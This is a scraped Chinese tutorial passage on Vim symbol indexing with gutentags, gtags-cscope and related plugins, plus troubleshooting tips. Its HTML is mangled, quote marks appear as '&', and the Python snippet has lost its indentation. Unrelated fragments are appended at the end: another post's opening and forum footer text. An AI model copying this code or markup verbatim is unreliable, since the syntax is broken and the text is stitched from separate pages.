&span class=&k&&let&/span& &span class=&k&&g&/span&:gutentags_modules &span class=&p&&+=&/span& [&span class=&s1&&'ctags'&/span&]
&span class=&k&&endif&/span&
&span class=&k&&if&/span& executable&span class=&p&&(&/span&&span class=&s1&&'gtags-cscope'&/span&&span class=&p&&)&/span& && executable&span class=&p&&(&/span&&span class=&s1&&'gtags'&/span&&span class=&p&&)&/span&
&span class=&k&&let&/span& &span class=&k&&g&/span&:gutentags_modules &span class=&p&&+=&/span& [&span class=&s1&&'gtags_cscope'&/span&]
&span class=&k&&endif&/span&
&span class=&c&&& 将自动生成的 ctags/gtags 文件全部放入 ~/.cache/tags 目录中,避免污染工程目录&/span&
&span class=&k&&let&/span& &span class=&k&&g&/span&:gutentags_cache_dir &span class=&p&&=&/span& expand&span class=&p&&(&/span&&span class=&s1&&'~/.cache/tags'&/span&&span class=&p&&)&/span&
&span class=&c&&& 配置 ctags 的参数&/span&
&span class=&k&&let&/span& &span class=&k&&g&/span&:gutentags_ctags_extra_args &span class=&p&&=&/span& [&span class=&s1&&'--fields=+niazS'&/span&&span class=&p&&,&/span& &span class=&s1&&'--extra=+q'&/span&]
&span class=&k&&let&/span& &span class=&k&&g&/span&:gutentags_ctags_extra_args &span class=&p&&+=&/span& [&span class=&s1&&'--c++-kinds=+px'&/span&]
&span class=&k&&let&/span& &span class=&k&&g&/span&:gutentags_ctags_extra_args &span class=&p&&+=&/span& [&span class=&s1&&'--c-kinds=+px'&/span&]
&span class=&c&&& 如果使用 universal ctags 需要增加下面一行&/span&
&span class=&k&&let&/span& &span class=&k&&g&/span&:gutentags_ctags_extra_args &span class=&p&&+=&/span& [&span class=&s1&&'--output-format=e-ctags'&/span&]
&span class=&c&&& 禁用 gutentags 自动加载 gtags 数据库的行为&/span&
&span class=&k&&let&/span& &span class=&k&&g&/span&:gutentags_auto_add_gtags_cscope &span class=&p&&=&/span& &span class=&m&&0&/span&
&/code&&/pre&&/div&&p&通过上面的配置,可以在后台自动打理 ctags 和 gtags 数据库,检测文件改动,并更新到 ~/.cache/tags 目录中,避免污染你的项目目录。&/p&&p&上面定义了项目标志文件(.git, .svn, .root, .project, .hg),gutentags 需要确定当前文件所属的项目目录,会从当前文件所在目录开始向父目录递归,直到找到这些标志文件。如果没有,则 gutentags 认为该文件是个野文件,不会帮它生成 ctags/gtags 数据,这也很合理,所以如果你的项目不在 svn/git/hg 仓库中的话,可以在项目根目录 touch 一个空的名为 .root 的文件即可。&/p&&p&现在我们在 Vim 中随便编辑文件,gtags 数据库就会默默的帮我们生成好了,如果你使用 airline ,还能再 airline 上看到生成索引的状态。gtags 程序包里有个 gtags-cscope 的程序,可用 cscope 的接口来为 Vim 提供 cscope 的所有操作,只需要再 vim 中修改一下 cscopeprg 指向这个 gtags-cscope 程序,就可以 cs add 添加 gtags 数据库,然后像 cscope一样的使用 gtags 了。&/p&&p&Vim 里原有的 cscope 机制可以设定好数据文件后,启动一个 cscope 进程并用管道和其链接,通过管道命令实现定义和引用的查询,你修改了 cscopeprg 指向 gtags-cscope 后,就可以在 Vim 中用 :cs add path 命令启动 gtags-cscope 这个子进程,链接 gtags 的数据库,然后提供全套 cscope 类似的操作。&/p&&p&gtags-cscope 还有一个优点就是我后台更新了 gtags 数据库,不需要像 cscope 一样调用 cs reset 重启 cscope 子进程,gtags-cscope 一旦连上永远不用重启,不管你啥时候更新数据库,gtags-cscope 进程都能随时查找最新的符号。&/p&&p&那么最后临门一脚,我们将要想办法避免这个手工 cs add 的过程。&/p&&p&&br&&/p&&p&&b&数据库自动切换&/b&&/p&&p&gutentags 可以为我们自动 cs add 命令添加当前更新好的 gtags 数据库到 vim ,但是你编辑一个项目还好,如果你同时编辑两个以上的项目,gutentags 会把两个数据库都连接到 vim 里,于是你搜索一个符号,两个项目的结果都会同时出现,基本没法用了。&/p&&p&所以上面的配置中禁用了 gutentags 自动加载,我们可以每次查询单独执行一遍外部的 gtags-cscope 工具,将结果放到 quickfix。这样做可以避免项目之间结果混在一起,启动前配好项目目录和数据库目录,查询完就退出,稍微封装下即可,唯一问题就是用起来有点慢。&/p&&p&更好的方法是继续使用 vim 自带 cscope 系统,并解决好数据库链接断开问题:首先要能找到当前文件所属项目的 gtags 数据库被 gutentags 放到哪里了,其次一开始用不着 cs add 加载任何 gtags 数据库,只有在真正查询前增加个检测:&/p&&ol&&li&如果当前项目数据库已经添加过,就继续开始查询工作。&/li&&li&没有添加的话就断开其他所有项目的 gtags 数据库,再添加本项目数据库。&/li&&/ol&&p&过程说起来很复杂,用起来却很简单,我写了个 &a href=&https://link.zhihu.com/?target=https%3A//github.com/skywind3000/gutentags_plus& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&gutentags_plus.vim&/a& 的小脚本做这个事,直接用里面的 GscopeFind 命令,像 cs find 一样用就行了。&/p&&p&搭配 gutentags,这个脚本在你每次 GscopeFind 前帮你处理数据库加载问题,已经加载过的数据库不会重复加载,非本项目的数据库会得到即时清理,所以你根本感觉不到 gtags 的存在,只管始用 GscopeFind g 命令查找定义,GscopeFind s 命令查找引用,既不用 care gtags 数据库加载问题更不用关心何时更新,你只管写你的代码,打开你要阅读的项目,随时都能通过 GscopeFind 查询最新结果,并放入 quickfix 窗口中:&/p&&figure&&img src=&https://pic2.zhimg.com/v2-f0cbbf0efe6bfb33d5ad5e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1112& data-rawheight=&715& class=&origin_image zh-lightbox-thumb& width=&1112& data-original=&https://pic2.zhimg.com/v2-f0cbbf0efe6bfb33d5ad5e_r.jpg&&&/figure&&p&这个小脚本末尾还还定义了一系列快捷键:&/p&&ul&&li&&leader&cg
- 查看光标下符号的定义&/li&&li&&leader&cs
- 查看光标下符号的引用&/li&&li&&leader&cc
- 查看有哪些函数调用了该函数&/li&&li&&leader&cf
- 查找光标下的文件&/li&&li&&leader&ci
- 查找哪些文件 include 了本文件&/li&&/ul&&p&比如打开 Linux 代码树,memory.c 光标停留在 core_initcall 函数名上面,然后 &leader&cc,下面 quickfix 窗口立马就列出了调用过该函数的位置。&/p&&p&得益于 gtags 的数据存储格式,再大的项目,也能给你瞬间完成查询,得益于 gtags-cscope 的接口,vim中可以对同一个项目持续服用相同的 gtags-cscope 子进程,采用管道通信,避免同项目多次查询不断的启动新进程,查询毫无卡顿。&/p&&p&到此为止,我们在 vim 中 DIY 了一个比 vscode 流畅得多的符号索引体验,无缝结合 gtags 的程度超过以往任何编辑器,让你象在 IDE 里一样毫无负担的查找定义和引用,而IDE 只支持一两种语言,咱们起步就覆盖 50+ 种语言。&/p&&p&&br&&/p&&p&&b&快速预览&/b&&/p&&p&我们从新项目仓库里查询了一个符号的引用,gtags噼里啪啦的给了你二十多个结果,那么多结果顺着一个个打开,查看,关闭,再打开很蛋疼,可使用 &a href=&https://link.zhihu.com/?target=https%3A//github.com/skywind3000/vim-preview& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&vim-preview&/a& 插件高效的在 quickfix 中先快速预览所有结果,再有针对性的打开必要文件:&/p&&figure&&img src=&https://pic2.zhimg.com/v2-9a90d56b8e53aa_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&1260& data-rawheight=&759& class=&origin_image zh-lightbox-thumb& width=&1260& data-original=&https://pic2.zhimg.com/v2-9a90d56b8e53aa_r.jpg&&&/figure&&p&按照插件文档配置 keymap,就可以在quickfix中对应结果那一行,按 p键在右边打开预览窗口查看文件,多次按 p预览多个文件都会固定在右侧的预览窗口显示,不会打开新窗口或tab,更不会切走当前文件,也不用你因为预览新结果而要在文件窗口和 quickfix 窗口中来回切换,即便你想上下滚动预览窗口里的代码,也可以不用离开quickfix窗口,直接 alt+U/D 就可以在 quickfix 中遥控 preview 窗口上下滚屏了。&/p&&p&当你阅读完预览内容可以用大写 P 关闭预览窗口,然后正常用回车在新窗口或者tab中打开想要具体操作的文件了,这依赖 switchbuf 设置可以看vim帮助文档,不想看了 F10 关闭 quickfix 窗口就是。&/p&&p&搭配前文介绍过的 vim-unimpaired 插件,你还可以在不操作 quickfix窗口的情况下,使用快捷键进行上下结果跳转,Vim的好处在于有比较多的标准基础组件,比如 quickfix,emacs 就没有这样的基础设施,虽然 elisp 都可以实现,每个插件各自实现了一个差不多的 quickfix 窗口,碎片化严重,无法像vim那样一些插件往 quickfix里填充数据,一些插件提供 quickfix 方便的预览和跳转,还有一些插件可以根据quickfix里的结果内容做进一步的处理和响应,他们搭配在一起能够形成合力,这在碎片化严重的 emacs 里是看不到的。&/p&&p&通过上面的一系列 DIY,我们陆续解决了:按需自动索引,数据库自动连接以及结果快速预览等以往使用 gtags 的痛点问题,反观其他编辑器,符号索引功能或多或少都有这样那样不如意的地方。&/p&&p&所以如果你想得到这样一个其他编辑器从没达到过的IDE级别的符号索引系统,又能支持比IDE更多语言,那么花点时间DIY 一下也是值得的。&/p&&p&&br&&/p&&p&接下来我们谈 Language Server:&/p&&p&&a href=&https://zhuanlan.zhihu.com/p/& class=&internal&&韦易笑:Vim 8 中 C/C++ 符号索引:LSP 篇&/a&&/p&&p&&br&&/p&&p&----&/p&&p&&b&错误排查&/b&:gutentags: gutentags: gtags-cscope job failed, returned: 1&/p&&p&这说明 gtags 在生成数据时出错了&/p&&p&第一步:判断 gtags 为何失败,需进一步打开日志,查看 gtags 的错误输出:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&let g:gutentags_define_advanced_commands = 1
&/code&&/pre&&/div&&p&先在 vimrc 中添加上面这一句话,允许 gutentags 打开一些高级命令和选项。然后打开你出错的源文件,运行 “:GutentagsToggleTrace”命令打开日志,它会将 ctags/gtags 命令的输出记录在 Vim 的 message 记录里。接着保存一下当前文件,触发 gtags 数据库更新,稍等片刻你应该能看到一些讨厌的日志输出,然后当你碰到问题时在 vim 里调用 &:messages& 命令列出所有消息记录,即可看到 gtags 的错误输出,方便你定位。&/p&&p&第二步:禁用 pygments,将环境变量改为:&/p&&div class=&highlight&&&pre&&code class=&language-vim&&&span&&/span&&span class=&k&&let&/span& $GTAGSLABEL&span class=&p&&=&/span&&span class=&s1&&'native'&/span&
&/code&&/pre&&/div&&p&然后调试纯 C/C++ 项目看是否工作。&/p&&p&第三步:恢复 pygments 设置,并在项目根目录命令行运行:&/p&&div class=&highlight&&&pre&&code class=&language-bash&&&span&&/span&$ &span class=&nb&&export&/span& &span class=&nv&&GTAGSLABEL&/span&&span class=&o&&=&/span&native-pygments
&/code&&/pre&&/div&&p&看是否正常工作,如果 pygments_parser.py 报错,则修正一下,6.6.2 的 pygments_parser.py 在 Windows 下面有个文件名大小写的小 bug,需要手工更改一下:&/p&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&
&span class=&k&&def&/span& &span class=&nf&&get_lexer_by_langmap&/span&&span class=&p&&(&/span&&span class=&bp&&self&/span&&span class=&p&&,&/span& &span class=&n&&path&/span&&span class=&p&&):&/span&
&span class=&n&&ext&/span& &span class=&o&&=&/span& &span class=&n&&os&/span&&span class=&o&&.&/span&&span class=&n&&path&/span&&span class=&o&&.&/span&&span class=&n&&splitext&/span&&span class=&p&&(&/span&&span class=&n&&path&/span&&span class=&p&&)[&/span&&span class=&mi&&1&/span&&span class=&p&&]&/span&
&span class=&n&&lang&/span& &span class=&o&&=&/span& &span class=&bp&&self&/span&&span class=&o&&.&/span&&span class=&n&&langmap&/span&&span class=&p&&[&/span&&span class=&n&&ext&/span&&span class=&p&&]&/span&
&span class=&k&&if&/span& &span class=&n&&lang&/span&&span class=&p&&:&/span&
&span class=&n&&name&/span& &span class=&o&&=&/span& &span class=&n&&lang&/span&&span class=&o&&.&/span&&span class=&n&&lower&/span&&span class=&p&&()&/span&
&span class=&k&&if&/span& &span class=&n&&name&/span& &span class=&ow&&in&/span& &span class=&n&&LANGUAGE_ALIASES&/span&&span class=&p&&:&/span&
&span class=&n&&name&/span& &span class=&o&&=&/span& &span class=&n&&LANGUAGE_ALIASES&/span&&span class=&p&&[&/span&&span class=&n&&name&/span&&span class=&p&&]&/span&
&span class=&n&&lexer&/span& &span class=&o&&=&/span& &span class=&n&&pygments&/span&&span class=&o&&.&/span&&span class=&n&&lexers&/span&&span class=&o&&.&/span&&span class=&n&&get_lexer_by_name&/span&&span class=&p&&(&/span&&span class=&n&&name&/span&&span class=&p&&)&/span&
&span class=&k&&return&/span& &span class=&n&&lexer&/span&
&span class=&k&&return&/span& &span class=&bp&&None&/span&
&/code&&/pre&&/div&&p&第三行有问题,项目目录中存在类似一个大写的 .Bat 文件名就会出错,前面做了大小写判断,觉得它支持,后面又没转换大小写检测,不用 pygments 就没问题,我正向官方反馈,官方修正前,需要改为:&/p&&div class=&highlight&&&pre&&code class=&language-python&&&span&&/span&
&span class=&n&&lang&/span& &span class=&o&&=&/span& &span class=&bp&&self&/span&&span class=&o&&.&/span&&span class=&n&&langmap&/span&&span class=&o&&.&/span&&span class=&n&&get&/span&&span class=&p&&(&/span&&span class=&n&&ext&/span&&span class=&p&&)&/span&
&/code&&/pre&&/div&&p&&br&&/p&&p&还有问题,请到 gitter 群里 at 我 skywind3000,一般都能 at 得到。&/p&&p&&a href=&https://link.zhihu.com/?target=https%3A//gitter.im/vim-china/Lobby& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&vim-china/Lobby&/a&&/p&
符号索引是个重要功能,不论阅读新项目,还是开发复杂点的大项目,符号索引都能帮你迅速掌握项目脉络,加快开发进度。传统 ctags 系统虽和 vim 结合紧密,但只能查定义无法查引用,cscope 能查引用,但只支持 C 语言,C++都不支持,况且常年不更新。ctags …
&p&之前用了两个多月撸完了算法导论,每天3小时左右。把其中的伪代码用Python实现了一遍,代码在这里&a href=&//link.zhihu.com/?target=https%3A//github.com/gycg/Algorithm& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&github.com/gycg/Algorit&/span&&span class=&invisible&&hm&/span&&span class=&ellipsis&&&/span&&/a&。伪代码转换成Python还是比较容易的,一行一行翻译,写完运行一下,不懂

我要回帖

更多关于 0x00000010内存read 的文章

 

随机推荐